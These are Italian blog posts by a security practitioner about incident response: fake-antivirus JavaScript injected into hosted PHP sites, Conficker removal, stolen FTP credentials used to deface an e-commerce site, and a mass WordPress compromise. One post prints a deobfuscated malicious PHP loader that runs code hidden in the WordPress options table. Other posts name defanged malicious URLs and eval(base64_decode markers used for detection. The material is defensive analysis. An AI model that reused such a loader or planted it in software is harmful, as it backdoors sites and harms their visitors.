Il non-blog di Mario Pascucci

Sto lavorando sodo per preparare il mio prossimo errore (B. Brecht)

Articoli con tag incident response

Ancora sul falso antivirus e sull’incidente di sicurezza del 21 aprile 2010

Apr 23

Pubblicato da Mario Pascucci in Information security | Disattiva commenti

Dopo aver ripristinato il tutto, l’installazione pare reggere, ma naturalmente non c’è da illudersi. Se, come ipotizzavo, il problema è dellì’hosting c’è poco da fare. In particolare, quello su cui è ospitato il sito usa un sistema che separa completamente gli utenti ospitati. Ognuno ha il suo spazio, il servizio web server è eseguito con utente differente da sito a sito, per cui è impossibile andare a curiosare nello spazio di hosting degli altri, anche volendo.
Anche se l’applicazione web che uso fosse notoriamente insicura per la presenza di bug non corretti, cosa che a quanto mi è dato di sapere non è, violando il mio sito non potrebbero compromettere gli altri ospitati nello stesso server.

Se invece il problema fosse a monte, ad esempio per via di un bug non corretto a livello del software di sistema (web server, interprete PHP, database vari, ecc.), l’eventuale incursore che sfrutti la falla potrebbe accedere globalmente a vari livelli: a tutti i siti in hosting o addirittura all’intero server.

Il tipo di incursione e il suo scopo, iniettare Javascript, seminascosto, in più siti possibile per infettare più utenti possibile con il falso antivirus (con lo stesso schema e le stesse finalità di altri incidenti di sicurezza, differenti ma con lo stesso scopo, di cui avevo parlato in precedenza), fa pensare appunto ad un attacco mirato.

Se avete un sito con pagine in PHP, anche se non si tratta di applicazioni note, anche se si tratta di pagine fatte su misura, controllate che non vi siano blocchi di codice iniettato e camuffato. Riconoscerlo è abbastanza facile, e ne avevo scritto diffusamente al tempo dell’attacco massivo ai blog con WordPress.

Tags: , ,

Puoi fare tutto quello che vuoi, ma…

Apr 21

Pubblicato da Mario Pascucci in Varie (ed eventuali), Wordpress | 19 commenti

Web application aggiornatissima, plugin ridotti al minimo, hardening generale, e chi più ne ha.

Ma quando devono, devono.

Stamattina il sito era giù, il motivo è facile da indovinare: ho dovuto metterlo in manutenzione di corsa: stanotte, intorno alle 3.40 ora italiana lo hanno infarcito con un bel segmento di codice PHP in testa ad ogni singolo file PHP presente nello spazio di hosting. Risultato: chi visitava il sito riceveva un Javascript che ne scaricava un altro dall’URL http://js .ribblestone .com/jazz/listen.php che a sua volta ne prendeva un’altro da http://panelscansecurity .org/? affid=320&subid=landing.

Il risultato era la solita scansione finta con proposta di scaricare il malware vero di turno, camuffato da fantastico super-anti-tutto.
Alla seconda visita non succede nulla, perché alla prima viene impostato un cookie con nome pwr_set_number_coalition_2, che, se presente, disattiva il redirect verso la finta scansione. C’è anche un altro elemento pericoloso: il codice Javascript iniettato controlla se il visitatore è lo spider di Google o di Yahoo, e si disattiva. Questo impedisce a Google di riconoscerlo come codice dannoso, quindi il sito non viene incluso fra quelli potenzialmente dannosi. Meno danno per il proprietario del sito, più danno per tutti, visto che la protezione dai siti trappola operata da Google non funziona più.

Il danno sul sito era totale, ogni singolo file PHP conteneva il codice iniettato. Indagando un po’, ho trovato che altri siti ospitati sullo stesso hosting hanno lo stesso problema, quindi, molto verosimilmente, si tratta di un problema dell’intero hosting.

Ho recuperato, per ora, scaricando l’intero contenuto del sito e ripulendo con uno script tutti i file PHP dai frammenti di codice iniettato. Ho poi controllato che non ci fossero “ospiti non invitati”, sia sotto forma di file che sotto altre forme. Poi ho riportato indietro i file PHP ripuliti.

Ho fatto qualche altra modifica, ma non sono molto fiducioso che possa impedire il ripetersi del problema. Se il server è compromesso, c’è poco da fare.

Precisazione

Il sito è ospitato su Register, Nobug srl offre la parte economica.

Tags: ,

Conficker: un ospite tanto silenzioso quanto pericoloso

Jul 7

Pubblicato da Mario Pascucci in Information security | 1 commento

Al momento sto sostituendo i computer di un impianto per via di un cambio di piattaforma (si passa da PC a Mac). I PC, ancora perfettamente funzionanti e con una buona dotazione di hardware, vengono ripuliti dalle applicazioni inutili e riconfigurati per essere utilizzati in altre applicazioni.

Sono sistemati provvisoriamente nel mio ufficio, dove li libero delle schede non più necessarie e faccio una ricognizione generale per trovare ed eliminare roba inutile rimasta dal vecchio impiego. Non che ve ne sia molta, gli account erano tutti non amministrativi e gli utenti non potevano (e non dovevano) installare alcunché, visto che l’uso era strettamente professionale e limitato ad una sola applicazione.

Nonostante questo e nonostante il fatto che la rete fosse isolata dal resto del mondo, ho avuto la sorpresa di trovarvi annidato Conficker, in una delle tante varianti.

E’ la prima volta che mi capita di avere per le mani computer colpiti da Conficker, senza che nessun altro vi abbia prima pasticciato o che la macchina sia già talmente compromessa da non riuscire a capire quanto delle devastazioni sia colpa di Conficker e quanto invece delle varie inutility installate dall’esperto di turno.

Come mi sia accorto della presenza del simpatico ospite, è frutto praticamente del caso: sui computer era installato VNC per l’assistenza da remoto, ed avevo aperto le rispettive porte sul firewall di Windows, aggiungendo le necessarie eccezioni. Dato che nella nuova sistemazione VNC non serve più, lo stavo eliminando e per completare il tutto sono entrato nel pannello di gestione delle eccezioni del firewall per rimuovere le due relative a VNC. Notata una eccezione, il cui nome era di sette caratteri alfabetici a caso, ho subito pensato che ci fosse qualcosa di strano, forse causato da qualche malware partito da un pen drive, visto che questa funzione non era bloccata. Ho disabilitato l’eccezione, poi, dopo aver eliminato parte del software non più necessario, ho riavviato, e l’eccezione era di nuovo attivata.

A quel punto il sospetto era certezza. Ho visto a quale porta TCP si riferiva l’eccezione, ed era la 1138, una porta non privilegiata e non usata da nessun servizio noto. Usando il comando netstat -nao si ottiene la lista delle porta TCP e UDP aperte con i relativi PID (Process ID) dei demoni le usano. Un processo teneva effettivamente aperta questa porta, ed il PID corrispondeva ad una istanza di svchost.exe con utente SYSTEM, come dire tutto e niente. Su un’altra macchina, sempre compromessa, la porta TCP ed il nome della eccezione sul firewall erano differenti, ma anche qui vi era l’istanza di svchost.exe relativa alla porta TCP aperta.

Per farla breve, ho usato due differenti strategie per rimuovere l’ospite indesiderato: una con il tool di rimozione di Symantec, efficace e veloce, una manualmente, che però è molto laboriosa e a rischio di veder vanificato il lavoro se si salta un passo. L’insediamento è fatto sfruttando un bug nel servizio di esecuzione pianificata, attivato dalla rete usando una named pipe sulla porta 445: la macchina già infetta si connette alla vittima, ed attraverso la pipe denominata “atsvc” esegue qualcosa che provoca l’attivazione. Viene depositata una DLL dal nome casuale nella directory system32, con impostati permessi molto particolari, tanto da risultare apparentemente intoccabile anche dall’utente amministratore. In realtà basta riassegnare i diritti al gruppo Administrators e si riesce ad eliminare, ma se prima non si è chiuso il firewall, impedendo l’accesso anche alla porta 445 (basta spuntare la casella “Non consentire eccezioni”) e se l’infezione è diffusa a più macchine, in breve si è daccapo con una differente DLL e una differente porta TCP. La DLL viene infilata come servizio da lanciare in una chiave di registro riguardante un servizio nascosto, che si trova cercando il nome della DLL: il nome del servizio è casuale e viene inserito un una chiave di registro particolare, che lo fa lanciare ad ogni avvio. Tutte le chiavi di registro coinvolte hanno la ACL impostata in modo che apparentemente siano intoccabili anche da Administrator, ma usando la voce “Autorizzazioni” del menu “Modifica” di Regedit si riesce a riassegnare i permessi anche ad Administrator e rimettere a posto le cose, cancellando l’avvio del falso servizio.

Comunque, al di là della complessità di rimozione, e delle tecniche di hiding messe in atto, Conficker compie un passo in più verso l’operatività silenziosa: ho avviato uno sniffer su una macchina Linux, connessa allo stesso switch delle macchine compromesse, e la sorpresa è (poco) piacevole: naturalmente dallo switch ricevevo solo il traffico broadcast, ma è stato sufficiente per notare come la strategia di scansione di Conficker sia molto meno “rumorosa” di tanti altri malware: ogni due secondi tenta un nuovo indirizzo, andando progressivamente per tutti gli indirizzi della subnet in cui si trova. Dopo il primo giro di scansione, il processo si ferma e non si hanno altri segnali, almeno non nei minuti immediatamente successivi. Questo significa che, a meno di non usare uno sniffer, e di usarlo al momento giusto, difficilmente verrà notato il traffico anomalo, come invece succedeva con altri malware, che eseguivano scansioni senza fine alla ricerca di altri computer su cui propagarsi alla massima velocità permessa dalla interfaccia di rete, rallentando tutto e generando moltissimo traffico.

Altro passo è l’assenza di processi in esecuzione specifici: usa un demone di sistema, quindi non ci sono processi con nomi strani o che scimmiottano i nomi di altri demoni legittimi.

Ancora, Conficker impedisce l’accesso via Internet a tutto il dominio microsoft.com, oltre probabilmente a molti altri, senza modificare file di configurazione e senza installare strani servizi: agisce sul servizio di cache DNS, probabilmente inquinandone il contenuto con valori improbabili. Il risultato è che solo aprendo un browser e puntando ad uno dei siti Microsoft si ha il sentore che qualcosa non sia proprio al suo posto.

Queste caratteristiche lo rendono differente da tutti i malware di questa categoria visti in precedenza e soprattutto lo rendono pericoloso ad un nuovo livello, perché anche l’utente più smaliziato difficilmente si accorgerebbe di avere una macchina compromessa, venendo a mancare qualsiasi segnale, almeno fra i più comuni, della presenza di un malware annidato nelle profondità del sistema operativo. Da quella che è la mia esperienza, questa strategia mostra che chi ha creato e diffuso Conficker, e le sue varianti, ha l’interesse non solo a colpire più computer possibili, ma anche a prolungare il tempo di permanenza nelle macchine colpite, non solo rendendo difficoltosa la rimozione con l’uso di caratteristiche poco note ai più, ma anche e soprattutto rendendo meno evidenti i sintomi dell’infezione.

In conclusione, anche considerando la grande diffusione e la difficoltà di estirparlo, Conficker rappresenta forse il primo di una nuova categoria di malware, pensati per annidarsi nelle viscere dei computer infetti e fare il proprio lavoro in modo silenzioso e discreto. Tenendo poi presente la capacità di scaricare ed eseguire a comando altri programmi, è facile immaginare scenari dove si possa trasformare in keylogger per catturare coppie di login e password, trafugare file con le credenziali di accesso a servizi o server remoti, operare come testa di ponte per diffondere spam o altri malware, trasformare i computer infetti in proxy o installarvi un simpatico sito di phishing.

Manca solo la chiusura ad effetto. Concedetemela: che sia un altro passo verso un malware veramente cattivo?

In realtà, no, siamo ancora lontani, ma Conficker si situa a metà strada fra i malware di tipo 0 e quelli di tipo I (usando la tassonomia proposta da Joanna Rutkowska), usando un demone di sistema per essere avviato e non apparire direttamente fra i processi in esecuzione. Rimane comunque il fatto che è difficile accorgersi della sua presenza, e la sua discrezione e silenziosità lo rende molto più pericoloso di tanti altri della sua razza.

Riferimenti

Tags: , ,

Malware e attacchi combinati: un caso reale.

Sep 22

Pubblicato da Mario Pascucci in Information security | 3 commenti

Il fatto che i creatori di malware non siano dei semplici ragazzotti con problemi di socializzazione, ma siano in realtà organizzazioni criminali con intenti precisi, dovrebbe essere ormai una cosa accettata.

Purtroppo non è così, dato che periodicamente tornano alla ribalta complotti e trame oscure che vedrebbero coinvolti produttori di tool di sicurezza e di sistemi operativi.

Questo potrebbe essere confutato abbastanza facilmente se prima di parlare ci si documentasse in materia, ma, come ben si sa, documentarsi costa fatica, sopratutto nella ricerca di fonti attendibili.

Da parte mia, per quanto può valere, le analisi che ho condotto e conduco su campioni di malware che mi capitano per le mani, sia presi da dentro computer compromessi che direttamente “alla fonte”, rivelano delle caratteristiche comuni:

  • Sono eseguibili indipendenti, che non agiscono da virus propriamente detti, ossia non si “agganciano” ad un altro eseguibile modificandone il file su disco, ma vivono di vita propria.
  • La tecnica di propagazione si basa esclusivamente sulla diffusione tramite circuiti frequentati da un gran numero di utenti: falsi crack o falsi installer per applicazioni distribuiti via peer to peer, link in messaggi di spam erotico o pornografico in forum, blog e mailing list, siti che distribuiscono software pirata o strumenti per copiare illegalmente software (crack, keygen e simili). Il malware stesso molto spesso non possiede strumenti per la propagazione. Fanno eccezione alcune varianti che si propagano via Instant Messenger.
  • Per l’attivazione non usano particolari tecniche, non sfruttano falle o bug nel sistema operativo o nelle applicazioni. Semplicemente si aspettano di essere avviati dall’utente stesso, con metodi più o meno tutti incentrati su social engineering e inganno.
  • Per potersi insediare richiedono che l’utente che li attiva abbia un account di livello amministrativo, altrimenti falliscono in parte o del tutto l’insediamento.
  • Sono composti da più elementi, parte dei quali scaricati da Internet al momento dell’attivazione. Questo per mantenere le dimensioni del file contenute, e poterlo spedire senza troppi problemi attraverso qualsiasi connessione sia disponibile, dal dialup analogico alla connessione GPRS. Inoltre si può pensare che la parte che si attiva per prima sia una sorta di squadra d’assalto, che prepara il campo per il grosso delle forze d’attacco. Altro vantaggio è il poter cambiare la parte scaricata a seconda delle esigenze, lasciando identica la parte di attivazione.
  • A fronte di un modesto sforzo per l’insediamento, molta energia viene spesa per renderne difficilissima la rimozione, usando tutto un campionario di tecniche di occultamento, evasione e contrasto: Alternate Data Streams, rootkit, filtri di visualizzazione, ricerca attiva e terminazione degli strumenti di sicurezza (antivirus e firewall), rimozione di permessi all’utente amministratore legittimo, blocco di applicazioni diagnostiche.
  • Negli ultimi tempi è anche cambiato il comportamento al termine dell’opera di insediamento: mentre prima si avevano una serie di sintomi evidenti e fastidiosi (popup e dirottamento del browser durante la navigazione, comparsa di icone nell’area di notifica della barra delle applicazioni, traffico anomalo nella connessione a Internet, rallentamento generale del computer), molti esemplari tendono a rimanere silenti ed a operare con molta discrezione per non destare sospetti o, peggio, dopo aver compiuto la missione primaria, ad esempio collezionare informazioni dal computer compromesso, cambiano comportamento tornando ad essere fastidiosi come tutti gli altri.

Ciò rende i malware appartenenti a questa generazione estremamente pericolosi, ed il motivo sarà evidente alla fine di quanto vado a raccontarvi.

L’antefatto

Verso la fine di luglio, un impiegato di una società che ha un sito web di e-commerce riceve una mail apparentemente proveniente dal corriere espresso da cui abitualmente si servono. L’impiegato gestisce sia i rapporti col corriere sia gli aggiornamenti al sito web della società, a cui accede via FTP. Questo ha fatto sì che l’impiegato, pur con buone conoscenze di informatica, aprisse il messaggio, contenente un avviso di mancata consegna ed allegato un file compresso, al cui interno, mascherato con icona di documento di Microsoft Word, vi era un eseguibile.

E’ un attimo: l’impiegato esegue il fatidico doppio clic e dopo una pausa iniziale in cui pare non succedere nulla, a breve compaiono alcuni sintomi, molto lievi, che qualcosa non va: antivirus disattivato, blocchi di Internet Explorer, cose così.

Un intervento del tecnico preposto troverà la macchina infetta, probabilmente da una qualche variante di un malware che in quel periodo ha fatto parecchi danni, denominato TSPY_ZBOT.PF, oppure di Agent.JEN, un altro malware molto simile, ed entrambi usavano un falso messaggio a nome dello stesso corriere. Purtroppo sia l’e-mail che l’esemplare “attivato” vengono cancellati nell’operazione di bonifica, quindi non è dato conoscere l’esatta natura del malware.

Nota
Ora, ad essere completamente onesti, non abbiamo la prova certa, ossia non abbiamo potuto fare una analisi del malware, non più disponibile, per verificare in prima persona di quali funzioni era dotato, se e come abbia catturato le informazioni che hanno portato a quanto verrà esposto fra poco, ma possiamo essere ragionevolmente certi che i due episodi siano collegati per ragioni che saranno evidenti al termine.

L’incidente

Qualche giorno dopo uno dei clienti telefona piuttosto contrariato alla società, lamentando che durante la visita al sito di e-commerce ha ricevuto un attacco sotto forma della proposta di installazione di un falso antivirus. E’ il famigerato Antivirus XP 2008.

Un momento di incertezza, ma il cliente è conosciuto ed è affidabile, quindi la sua segnalazione viene presa con la dovuta considerazione. Chiamato il fornitore dello spazio web e dell’applicazione di e-commerce, da una rapida verifica risulta che gran parte dei file del sito sono stati iniettati con codice Javascript che attraverso la solita IFRAME propone la falsa scansione antivirus e l’installazione del programma Antivirus XP 2008. La stranezza, in un primo tempo non notata, è che i file iniettati sono in gran parte HTML statici, non script PHP, linguaggio in cui è fatta l’applicazione di e-commerce, e l’iniezione è ben posizionata all’intero delle pagine, mostrando che l’aggiunta del tag IFRAME non è risultato di una modifica “append”, tipica di attacchi RFI o SQL injection.

In un primo tempo la cosa passa inosservata, e viene caricata una copia pulita del sito, ripulendo tutti i segni dell’intrusione.

Passano due giorni ed arriva una nuova segnalazione, con lo stesso problema: la scansione simulata e la proposta di installazione dell’antivirus fasullo.

Altro giro di controlli, e viene sempre trovata la stessa serie di modifiche. Sui log del web server, esaminati accuratamente, visto anche che stavolta si è riusciti ad individuare un arco temporale molto ristretto, non si trova nulla di strano. A questo punto un sospetto si fa strada: un rapido controllo ai log del servizio FTP, usato per accedere allo spazio di hosting, rivela due accessi immediatamente precedenti alla segnalazione da parte dei clienti. All’esame appare evidente che il sito è stato prima copiato dall’attaccante sul proprio computer, usando username e password dell’impiegato colpito dal virus. L’indirizzo IP dell’attaccante apparteneva ad una classe di indirizzi dinamici assegnata ad un provider ADSL in un paese europeo, probabilmente una ulteriore macchina compromessa che agiva da open proxy. Poco dopo, sempre nei log, appariva l’operazione inversa, con cui l’attaccante aveva sostituito i file sul server con quelli da lui modificati. Subito prima della seconda segnalazione appariva soltanto l’arrivo dei file, segno che l’attaccante aveva conservato una copia in locale dei file modificati.

La soluzione

Stavolta sono state prima cambiate le credenziali di accesso via FTP appartenenti all’impiegato, che ha ricevuto le nuove. Il sito è stato nuovamente ripulito, ed a distanza di due mesi non ci sono state altre intrusioni, prova che il punto d’ingresso era proprio il servizio FTP, con le credenziali trafugate all’impiegato.

Considerazioni finali

Si è trattato proprio di un attacco combinato: il messaggio e-mail con lo scopo di far avviare il programma che funge da squadra d’assalto; il programma scarica ed installa altre componenti, fra le quali possiamo ipotizzare un keylogger, o magari la collezione dei file di credenziali dei programmi più noti, e li invia all’attaccante che con la successiva analisi estrae indirizzo FTP e credenziali di accesso al sito di e-commerce. L’iniezione del codice Javascript, con conseguente infezione dei visitatori del sito, e quindi una maggiore diffusione delle infezioni con l’antivirus fasullo, che, lo ricordo, aveva come scopo quello di installarsi e chiedere un codice di attivazione da ottenere con carta di credito, i cui dati sarebbero poi stati usati per fare altri acquisti da parte dell’incursore.

Come abbiamo detto in precedenza, non possiamo dimostrare con certezza quali dati il malware abbia collezionato, ed in quale modo, dai computer delle vittime del falso messaggio del corriere, ma le prove che sia stato fatto ci sono: la sequenza di eventi e le circostanze che hanno portato all’incidente di sicurezza appena esposto. Non è difficile immaginare che se l’acquisizione dei dati è fatta tramite keylogger, molte vittime si sono viste apparire strane cose nei loro account di home banking, o nei loro account di posta. Questo tipo di dati è preziosissimo per questi criminali, e l’acquisizione dei dati del conto di una persona “pulita” serve ad aprire altri conti correnti bancari a suo nome con cui fare operazioni di riciclaggio.

Non è necessario operare sul conto stesso della persona, che anzi deve rimanere il più possibile all’oscuro del furto di identità. Lo scopo non è rubare qualche centinaio di euro dal suo conto, ma di far transitare decine di migliaia di euro sull’altro conto, di cui la vittima non sa nulla, per ripulire il denaro e farne perdere le tracce, almeno il tempo necessario per sparire senza lasciare traccia.

Questa parte dell’operazione, ossia il rilascio del malware e la collezione dei dati delle persone, è solo il primo passo di una operazione molto più articolata, in cui probabilmente l’installazione del falso antivirus è solo un ulteriore passo. O può darsi che non c’entri nulla, e che sia solo un bonus concesso a chi ha creato e rilasciato il malware per tirar su qualche altro soldo.

In definitiva, in confronto a questo scenario, il presunto complotto dei produttori di antivirus che creano virus per vendere più antivirus impallidisce del tutto, per non dire che fa sorridere nella sua ingenuità.

Questo di complotto è molto più verosimile, e infinitamente più pericoloso.

Come sempre,
Trust no one

Tags: , ,

Compiti per le vacanze: la soluzione

Aug 27

Pubblicato da Mario Pascucci in Computer Forensics, Information security, Wordpress | 3 commenti

Vista la nutrita schiera dei partecipanti e la massa di soluzioni che mi sono pervenute (una sola, completamente fuori strada), qui di seguito trovate la soluzione all’indovinello estivo.

Il primo passo era di reperire il file da qualche parte, ed a questo qualcuno c’è arrivato, bravo Nanni. Era sufficiente cercare in Google una delle stringhe mostrate nell’immagine. Ad esempio basta inserire la stringa lpa1zxy (la terza in alto nell’immagine) in Google, ed il primo risultato è quello voluto. Notare che i siti che si ottengono dalla ricerca sono stati compromessi in vari modi, e probabilmente lo sono ancora. I bug e le vulnerabilità su cui si basano le intrusioni sono noti ormai da anni e se un webmaster non sa fare il suo lavoro è un suo problema.

Reperito il file, rimane da capire cosa stiamo guardando. A prima vista sembra qualcosa di cifrato con un algoritmo piuttosto banale, tipo una codifica Base64, o una ROT-13 (o cifrario di Cesare modificato).

Invece, e qui si mostra ancora una volta la genialità del mentecatto, si tratta di normale codice PHP, in cui le stringhe apparentemente codificate sono soltanto dei commenti. Eliminandoli e ricostruendo il codice “attivo” il risultato è un misero:


<?
$f = create_function("",strrev(get_option("wordpress_options")));
$f();
?>

Tutto qui. Questo è quello che viene inserito come plugin nei blog basati su WordPress violati dal mentecatto. Il plugin non fa altro che scaricare dal database, nella tabella delle opzioni di WordPress, un record iniettato contenente il vero plugin, e lo esegue. Il plugin ha varie funzioni, principalmente quella di controllare lo user agent dei visitatori e presentare i link di spam se è il GoogelBot a visitare il sito, mentre se è un normale visitatore proveniente da una ricerca per le pillole a basso costo lo reindirizza sul sito della farmacia. Poi ha anche altre funzioni, tipicamente di autodifesa, ed è capace di rimettersi in sesto se il blog viene aggiornato o viene fatto un tentativo di pulizia senza usare le maniere forti. Ne esiste una seconda variante, assolutamente identica come codice PHP attivo, sono soltanto differenti le finte stringhe cifrate, cioè i commenti.

Ne ho parlato e scritto fino alla nausea. Il mentecatto (i mentecatti, le infezioni sono in più varianti, questa è la più diffusa) è uno che ci capisce, non un wannabe. I blog WordPress infetti sono ancora al loro posto, mentre i proprietari dormono sonni tranquilli. Qualcuno ha pure fatto il test, ha visto i risultati e ha continuato come se niente fosse. Se ritiene che qualche link di spam non sia poi un gran problema, beh, in bocca al lupo.

Lo scopo dell’indovinello era quello di verificare le capacità di analisi, assolutamente necessarie per ricostruire gli eventi in caso di intrusione in un sito web. Analizzando questo file, che nei siti compromessi non ha mai l’apparenza di un file PHP, sono riuscito a trovare dove era nascosto il codice che presentava i link e che deviava le visite. Da lì ho scovato le altre iniezioni di dati nel database, ad esempio la cache dei link spam, e la modalità di reinfezione, o di sopravvivenza ad un upgrade. Peccato, una occasione persa, per tutti. Probabilmente sono io che non ho capito bene in cosa consista la Computer Forensics.

Al prossimo indovinello. Ah, a proposito, qualcuno usa Joomla? Beh, sappiate che state per andare in massa a fare compagnia a chi ha WordPress in versione “farcita”. Alcuni blog WordPress compromessi mostrano come link di spam siti che fanno uso di Joomla, naturalmente “farciti” con una variante prontamente sviluppata dal mentecatto. Naturalmente è sufficiente un upgrade alla versione corretta per mettersi al riparo, ma certamente non possiamo fare a meno di quel plugin bellissimissimo che con la nuova versione non funziona, e poi il tema stiloso non si vede bene, eh.

Tranquilli, il mentecatto si fa molti meno problemi. A lui il vostro sito piace com’è. Farcito.

Tags: , , , ,

Owned WordPress blog: ricapitolando

Jun 30

Pubblicato da Mario Pascucci in Information security, Wordpress | 8 commenti

Riassumo qui tutto quello che ho scoperto sull’attacco massivo in atto contro i blog basati su WordPress.

La situazione

WordPress in versione precedente alla 2.5.x è vulnerabile ad una vasta gamma di attacchi che non sono contrastabili se non in un unico modo: tenere aggiornato WordPress. Non esistono altri metodi, non per i comuni mortali.

L’attacco è generalizzato, nessuno è al sicuro. Se il blog è presente nei motori di ricerca (Google, MSN, Altavista, Yahoo, ecc.) è solo questione di tempo. La riuscita dell’attacco è indipendente dal tema utilizzato, riesce anche con il tema di default. Quello dei temi infetti è un altro problema.

Se il blog viene compromesso, un aggiornamento non risolve, e non risolve neanche una sommaria ripulita al database: l’intrusione è profonda e su molti fronti. Se ci si limita ad un aggiornamento ed a una sommaria pulizia del database, in breve il blog sarà di nuovo compromesso. Ci sono blog con WordPress 2.5.1 con lo stesso problema e ci sono stati casi di blog violati, i cui proprietari sono stati avvertiti da me, puliti sommariamente e ri-violati nel giro di mezzora. Quindi la pulizia deve essere totale, come spiegato qui.

La sequenza di intrusione

Questa è verosimilmente la sequenza che porta alla violazione del blog. E’ ricostruita sulla base degli esemplari di codice e database forniti da persone coraggiose che non finirò mai di ringraziare. E che dovreste ringraziare tutti.

Selezione del blog bersaglio

L’attaccante cerca i blog basati su WordPress con semplicissime query ai principali motori di ricerca. Usa strumenti automatizzati, che gli garantiscono di riuscire a trovare un gran numero di possibili bersagli. Attraverso una forma di fingerprinting determina la versione di WordPress installata nel bersaglio. A questo proposito è del tutto inutile nascondere la versione che viene inserita nel tag apposito:


<meta name="generator" content="WordPress 2.5.1" />

l’attaccante usa un algoritmo molto più sofisticato per determinare la versione, ed ignora del tutto, o quasi, la stringa nell’header della pagina HTML emessa da WordPress. Per dare un’idea, viene controllata l’esistenza di alcuni file e directory caratteristiche di certe versioni, come pure il formato dei feed.

Creazione di un amministratore abusivo

Attraverso un attacco di tipo SQL injection, sfruttando le suddette vulnerabilità di WordPress, viene creato un amministratore “abusivo” del blog. Il tipo di attacco è calibrato sulla versione di WordPress rilevata, quindi ce n’è per tutti. L’amministratore creato con questa tecnica è invisibile dal pannello di amministrazione utenti (dettagli qui), a meno di usare trucchi o di esaminare direttamente il database. L’utente abusivo si chiama di solito “WordPress” (la ‘W’ e la ‘P’ maiuscole), ma non è detto che rimanga così.

Iniezione dei primi file

Una volta ottenuto l’accesso amministratore, viene esaminato lo spazio di hosting, per capire se e quali file e directory permettono la scrittura e la modifica dei file, se è permesso il download e l’esecuzione diretta di script PHP da altri siti e varie altre impostazioni. Se la directory dei temi è scrivibile, viene inserito un file PHP con un nome camuffato o insospettabile in uno dei temi installati, di solito quello “Classic”, che nessuno va a guardare. Tipicamente ha il nome di un altro file presente fra quelli del tema, con aggiunto in coda al nome la stringa “_old”, e non è detto che l’estensione sia “.php”. Ho trovato falsi file ZIP, false immagini PNG e JPG. Oppure è un file PHP con un nome verosimile: functions.php, locals.php e simili. Stessa cosa può succedere con la directory dei plugin, dove in qualche caso ho trovato dei falsi file ZIP con lo stesso nome di uno dei plugin installati, in realtà file PHP.
Se nessuna directory o file è scrivibile, tranne quella degli upload o quella dei backup, il file viene iniettato in quelle posizioni.
Se tutti i file sono modificabili dagli script PHP stessi, come succede in alcuni hosting, vengono modificati alcuni file dell’installazione di WordPress, iniettando poche righe di codice, anche una sola, di solito offuscata o ricodificata in Base64 o simile. Questo semplifica parecchio l’attacco.
In qualche caso, se la configurazione del server lo permette, il file è iniettato nella directory /tmp del server, con il nome che scimmiotta i file di sessione PHP: sess_11a2d23b2......, la stringa esadecimale nel nome è praticamente casuale.
In totale i file iniettati sono almeno due: il plugin camuffato ed una sorta di shell remota che permette di modificare a piacere file ed eseguire comandi impartiti da remoto.

Iniezione di codice e dati nel database

Uno dei file appena iniettati viene inserito come plugin agendo direttamente sulla corrispondente opzione nel database di WordPress. Naturalmente anche questo plugin “abusivo” è invisibile dal pannello di gestione dei plugin. Il nome può variare, come detto sopra, come pure la posizione. La funzione del plugin è molteplice: iniettare i link di spam al momento della visita dello spider di uno dei motori di ricerca noti, controllare che il codice iniettato sia presente ed attivo, altrimenti operare automaticamente l’iniezione del codice negli script PHP originali. Ecco uno dei motivi per cui la semplice reinstallazione, o l’aggiornamento, e la sommaria pulizia del database non funziona: anche cancellando l’utente abusivo e togliendo i link di spam, il plugin rimane attivo, per via della posizione in cui è nascosto il file, ossia nel tema, cosa che si tende a preservare, negli upload o nella directory /tmp a cui non si pensa proprio. Alla prima occasione il plugin rimette tutto a posto. Il blog, anche se aggiornato all’ultima versione di WordPress, è già compromesso.
Altro gruppo di dati che viene inserito è il blocco dei link spam. E’ nascosto nel database come opzione fasulla di WordPress, oppure nella cache dei feed letti dai vari blog di sviluppo e news che si vedono nel pannello di amministrazione, ed è una lunga stringa, oltre 16kb, codificata in Base64, preceduta dalla stringa eval(base64_decode(, in qualche caso è anche rovesciata, quindi in testa non ha niente, ma in coda è presente la stringa: (edoced_46aseb(lave. In altri casi, i link non sono nel database, ma nel file wp-includes/class-mail.php, che non appartiene ai file standard dell’installazione. Il file è un array serializzato con apposite funzioni PHP (dettagli qui). Questo però nelle versioni più vecchie. Nelle ultime versioni in mio possesso il file non esiste più e viene usato il database, più complicato ma molto meno visibile.
In un paio di casi ho trovato nel database anche una copia di uno dei file iniettati, ricodificato anch’esso in Base64 per nasconderlo. Probabilmente è una copia di riserva da recuperare ed attivare se il blog viene ripulito dal proprietario.

Modifica del file index.php

Se l’hosting ha una configurazione di sicurezza “debole”, e quindi permette la modifica da parte degli script PHP stessi di tutti i file dell’installazione di WordPress, viene cambiato il file index.php nella directory principale del blog. Nelle versioni da me esaminate c’era una istruzione di include di un file preso da un sito remoto. Questo file è quello che opera il redirect verso i siti di spam, di solito farmacie online. Non sono riuscito a mettere le mani su questo file, il download è probabilmente subordinato ad una qualche forma di protezione, tipo il controllo dello user agent o dell’indirizzo IP di chi chiede l’accesso al file. Vista la complessità e l’organizzazione dell’attacco, non mi stupirebbe che sia fatto un controllo verso un database di siti compromessi prima di consentire l’accesso al file.
Non tutti i siti hanno questa variante. Dipende molto dalla versione e dalla configurazione del server. Ma quelli che la possiedono vengono inclusi nelle liste di link in altri blog violati, per consentire appunto la ridirezione al sito degli spammer.

Altri file modificati

Il codice usato nell’attacco è in diverse varianti, e ci sono segnali che è in continua evoluzione, cambiando ed affinando le tecniche sia di intrusione che di evasione dei controlli. In qualche caso ho trovato del codice inserito come action, nel file wp-includes/default-filters.php. Lo stesso file conteneva una sorta di sistema di esecuzione di codice da remoto (dettagli qui), con tanto di autenticazione tramite cookie.

Come accorgersene

Non è per niente banale. Ci sono decine di blog italiani violati e centinaia in tutto il mondo, e nessuno dei proprietari si accorge di nulla. A differenza delle prime varianti, dove si avevano malfunzionamenti che potevano insospettire, le versioni ora in circolazione sono molto meno banali, e sono molto difficili da trovare “per caso”. Chi ha sviluppato il codice ed il metodo di violazione è partito dall’obbiettivo di nascondere il più possibile al legittimo proprietario ed ai visitatori abituali la presenza della violazione. Presenza che sfugge anche ad un controllo sommario. Se non si opera in modo mirato, non si noterà nulla di strano. Ho attrezzato un test di “infezione”, che esegue alcuni semplici controlli sulla pagina principale del blog, cercando i segni, assolutamente non evidenti, dell’infezione. Segni che potrebbero a breve cambiare e rendere inefficace il controllo stesso. Per questo motivo non posso per ora aprire il codice del controllo o descriverne nei dettagli il funzionamento. Se gli spammer scoprono i punti deboli del mio controllo, e ve ne sono, lo possono rendere inefficace in breve tempo, ed avremmo tutti un’arma in meno. Altra strada per trovare i segni dell’infezione è descritta qui, in un breve documento che ho scritto specificamente per CFItaly. E’ chiaramente un documento diretto a 